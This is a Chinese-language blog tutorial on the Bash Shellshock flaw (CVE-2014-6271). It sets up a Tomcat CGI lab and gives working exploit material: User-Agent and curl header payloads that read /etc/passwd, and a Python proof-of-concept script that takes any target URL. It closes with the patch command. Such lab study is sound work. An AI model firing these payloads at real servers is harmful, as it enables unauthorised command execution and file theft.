Bash遠程代碼執行漏洞(CVE-2014-6271)案例分析


Web服務器和CGI的關系

什么是WEB服務器(IIS、Nginx、Apache)

WEB服務器也稱為WWW(WORLD WIDE WEB)服務器,主要功能是提供網上信息瀏覽服務。
(1)應用層使用HTTP協議。
(2)HTML文檔格式。
(3)瀏覽器統一資源定位器(URL)。

CGI,FastCGI

CGI全稱是“公共網關接口”(Common Gateway Interface),HTTP服務器與你的或其它機器上的程序進行“交談”的一種工具,其程序須運行在網絡服務器上。

CGI可以用任何一種語言編寫,只要這種語言具有標准輸入、輸出和環境變量。

 

 

漏洞介紹:

CVE-2014-6271,該漏洞將導致遠程攻擊者在受影響的系統上執行任意代碼。

 

漏洞概述:

GNU Bash 4.3及之前版本在評估某些構造的環境變量時存在安全漏洞,向環境變量值內的函數定義后添加多余的字符串會觸發此漏洞,

攻擊者可利用此漏洞改變或繞過環境限制,以執行shell命令。某些服務和應用允許未經身份驗證的遠程攻擊者提供環境變量以利用此漏洞。

此漏洞源於在調用bash shell之前可以用構造的值創建環境變量。這些變量可以包含代碼,在shell被調用后會被立即執行。

 

漏洞影響:GNU Bash <= 4.3,此漏洞可能會影響到使用ForceCommand功能的OpenSSH sshd、使用mod_cgi或mod_cgid的Apache服務器、DHCP客戶端、其他使用Bash作為解釋器的應用等。

GNU Bash(Bourne again shell)是一個為GNU計划編寫的Unix shell,廣泛使用在Linux系統內,最初的功能僅是一個簡單的基於終端的命令解釋器。

 

查看Bash的版本:

rpm -qa |grep bash

 

 

受影響的系統包括:

該漏洞存在於bash 1.14 - 4.3版本中,受影響的Linux系統包括:Red Hat企業Linux (versions 4 ~7) 、Fedora distribution、CentOS (versions 5 ~7)、

Ubuntu 10.04 LTS,12.04 LTS和14.04 LTS、Debian等


 

 

實戰條件:

首先執行檢測命令:

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

如果出現這個結果,則說明本機的bash存在漏洞

centos6.8+tomcat7.0.69

首先搭建tomcat環境:

下載apache-tomcat-7.0.69.tar.gz包

如何在Tomcat上部署CGI:

1.首先你要有一個Tomcat服務器

  到Apache Tomcat官網上去下載,本文使用的是Tomcat 7系列。如果你選用的是更低的版本,可能本文的配置方法對你不適用。

2.想要運行Tomcat還需要java運行環境。

  需要到Oracle官網下載,本文使用為jdk8

3.安裝jdk,設置環境變量,如果需要。以我機器上為例:

JAVA_HOME:C:\Program Files (x86)\Java\jdk1.8.0_112-b15    ---JDK安裝路徑

PATH:%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;

CLASSPATH:.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;

CATALINA_HOME:E:\apache-tomcat-7.0.69    ---Tomcat解壓位置

4.測試一下:命令行輸入startup.sh,服務器啟動,最終給出信息:INFO: Server startup in 3054 ms

 也可以在瀏覽器中輸入:http://192.168.10.46:8080/ 查看是否啟動成功

5.Tomcat7支持CGI,但是默認配置是關閉的需要進行如下配置

1.修改Tomcat conf/web.xml中兩處代碼,默認是注釋掉的,去掉注釋即可

2.修改Tomcat conf/context.xml

在標簽<Context>中添加屬性 privileged = "true" ,此時,Tomcat才允許web應用使用容器內的Servlet

3.此時Tomcat已經可以運行CGI程序了

當一個CGI請求到達Tomcat時,CGIServlet會對其進行攔截,請求的格式為 http://.../cgi-bin/xxxx,然后CGIServlet會到相應的項目的WEB-INF/cgi目錄下調用相應的CGI文件處理請求

6.測試

測試文件目錄

test.cgi

  |---WEB-INF

       |---cgi

           |---test.cgi

test.cgi文件內容

mkdir cgi目錄

將cgi程序放在WEB-INF/cgi目錄中,最好讓cgi程序有可執行權限

最好讓cgi程序有可執行權限 chmod u+x

創建test.cgi測試文件:

#filename: test.cgi
print "Content-type: text/html\n\n";
print "Hello, Agoly!\n"

開啟攔截數據包:

User-Agent: () { :;};a=`/bin/cat /etc/passwd`;echo "a: $a"' 'http://192.168.10.46:8080/cgi-bin/test.cgi

curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo "a: $a"' 'http://192.168.10.46:8080/cgi-bin/test.cgi' -I

感覺不起作用

重新寫了一個test.sh腳本

#!/bin/bash
echo"Content-type: text/html"
echo ""

攔截抓包:

 

案例2:通過使用分析,只要是sh腳本,都可以利用

創建一個aa.sh腳本:腳本內容如下

#!/bin/bash
echo "Content-type:text/html;charset=UTF8\n"

echo ""

echo "Hello,Agoly!"

 

修改User-Agent

User-Agent: () { :;};a=`/bin/cat /etc/passwd`;echo "a: $a"

User-Agent: () { :;}; echo `/bin/cat /etc/passwd`

設置

發現id執行結果為空:

解決辦法:

所以,輸入命令,需要帶上命令的執行路徑

方法2:通過python寫poc

#coding:utf-8
import urllib,httplib
import sys,re,urlparse
#author:nx4dm1n
#website:http://www.nxadmin.com
 
def bash_exp(url):
    urlsp=urlparse.urlparse(url)
    hostname=urlsp.netloc
    urlpath=urlsp.path
    conn=httplib.HTTPConnection(hostname)
    headers={"User-Agent":"() { :;}; echo `/bin/cat /etc/passwd`"}
    conn.request("GET",urlpath,headers=headers)
    res=conn.getresponse()
    res=res.getheaders()
    for passwdstr in res:
        print passwdstr[0]+':'+passwdstr[1]
         
     
if __name__=='__main__':
     
    #帶http
    if len(sys.argv)<2:
        print "Usage: "+sys.argv[0]+" http://192.168.10.46:8080/cgi-bin/aa.sh"
        sys.exit()
    else:
        bash_exp(sys.argv[1])

解決方法:

centos:

yum update -y bash

正常的:

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM